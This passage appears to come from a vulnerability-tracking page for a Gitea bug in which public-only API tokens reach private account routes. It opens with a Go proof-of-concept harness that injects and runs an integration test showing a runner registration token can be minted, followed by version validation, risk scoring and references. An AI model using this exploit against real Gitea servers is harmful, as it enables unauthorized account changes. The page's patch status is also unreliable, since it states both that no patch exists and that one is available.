        auth_model "code.gitea.io/gitea/models/auth"
        "code.gitea.io/gitea/models/unittest"
        user_model "code.gitea.io/gitea/models/user"
        "code.gitea.io/gitea/tests"

        "github.com/stretchr/testify/require"
)

func TestAPIPublicOnlyUserRunnerRegistrationBypass(t *testing.T) {
        defer tests.PrepareTestEnv(t)()

        privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
        require.True(t, privateUser.Visibility.IsPrivate())

        session := loginUser(t, privateUser.Name)
        publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)

        MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden)

        resp := MakeRequest(t, NewRequest(t, "POST", "/api/v1/user/actions/runners/registration-token").AddTokenAuth(publicOnlyWriteUserToken), http.StatusOK)
        registrationToken := DecodeJSON(t, resp, &map[string]string{})
        require.NotEmpty(t, (*registrationToken)["token"])
}
`

func repoPath() string {
        candidates := []string{}
        if repo := os.Getenv("GITEA_REPO"); repo != "" {
                candidates = append(candidates, repo)
        }
        candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")

        for _, candidate := range candidates {
                if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/runners.go")); err == nil {
                        return filepath.Clean(candidate)
                }
        }
        fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
        os.Exit(2)
        return ""
}

func main() {
        repo := repoPath()
        testPath := filepath.Join(repo, "tests/integration/api_public_only_user_runner_registration_bypass_dynamic_poc_test.go")
        if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
                fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
                os.Exit(2)
        }
        defer func() {
                if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
                        fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
                }
        }()

        cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserRunnerRegistrationBypass", "code.gitea.io/gitea/tests/integration")
        cmd.Dir = repo
        cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
        out, err := cmd.CombinedOutput()
        fmt.Printf("source=%s\n", repo)
        fmt.Print(string(out))
        if err != nil {
                fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
                os.Exit(1)
        }
        fmt.Println("reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint")
        fmt.Println("reproduced: the same public-only token with the route-required write:user scope can mint a user-level actions runner registration token")
        fmt.Println("condition=private user issues a public-only,write:user token")
        fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N")
}

---

Version validation

Validation date: 2026-05-13

The SSH-key write PoC was used as the representative dynamic test for the systemic /api/v1/user self-route public-only bypass.

VersionCommitResult
main6a2706626904reproduced dynamically
v1.26.1afdbd9b7c5reproduced dynamically
v1.25.5f913d90ab6reproduced dynamically
v1.24.799053ce4fareproduced dynamically
v1.23.8cccd54999areproduced dynamically
v1.22.68eefa1f6dereproduced dynamically with Go 1.22.12 test toolchain

The representative version-matrix PoC validates the same root cause across tested releases for the SSH-key self-route write surface. The additional lead/supporting PoCs above were retested on the main checkout listed in the Local PoCs section.

Executive ViewAI

Why It Matters

Gitea versions 1.22.3 through 1.26.1 contain an authorization bypass allowing authenticated users with public-only API tokens to access and modify private account resources, including SSH keys, secrets, and OAuth credentials. This directly exposes sensitive authentication material used by third-party integrations and CI/CD pipelines, creating risk of unauthorized repository access and credential theft. Any organization using Gitea with automated or integrated authentication should prioritize immediate mitigation.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict /api/v1/user/* endpoint access via reverse proxy or firewall to authorized internal systems only; (2) Implement certificate-based or IP-based client authentication for API access; (3) Rotate public-only tokens to minimum viable lifespan (hours/days, not months); (4) Enable comprehensive API audit logging to detect unauthorized self-route access; (5) Disable public-only token grants entirely if operational scope permits; (6) Implement real-time monitoring for anomalous token usage patterns.

Threat Intelligence Overview

EPSS Score
0.2%
Top 83% exploitable
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

60
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication Bypass CRITICAL

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi
CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-59774 CRITICAL POC
9.8

Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica
CVE-2020-13246 HIGH POC
7.5 May 20

An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita

Same weakness CWE-863 – Incorrect Authorization

View all
CVE-2025-54253 CRITICAL POC
10.0
CVE-2025-24200 MEDIUM
6.1
CVE-2026-71362 CRITICAL POC
9.1
CVE-2026-42016 HIGH POC
8.8
CVE-2023-21715 HIGH
7.3
CVE-2025-21480 HIGH
8.6
CVE-2025-21479 HIGH
8.6
CVE-2025-32462 HIGH POC
8.8

Same technique Authentication Bypass

View all
CVE-2015-3306 CRITICAL POC
10.0
CVE-2023-22515 CRITICAL POC
9.8
CVE-2012-4681 CRITICAL POC
9.8
CVE-2013-2465 CRITICAL POC
9.8
CVE-2011-3544 CRITICAL POC
9.8
CVE-2022-40684 CRITICAL POC
9.8
CVE-2025-61882 CRITICAL POC
9.8
CVE-2024-0012 CRITICAL POC
9.3

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

References

Advisories & patches
ADVISORY https://github.com/go-gitea/gitea/security/advisories/GHSA-wrr5-99h5-gq57 REF https://blog.gitea.com/release-of-1.26.2/ REF https://github.com/advisories/GHSA-wrr5-99h5-gq57 REF https://github.com/go-gitea/gitea/pull/37118 REF https://github.com/go-gitea/gitea/releases/tag/v1.26.2

Search Externally

GitHub PoC Exploit-DB PacketStorm Snyk Rapid7 Nuclei Templates Trickest PoC
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy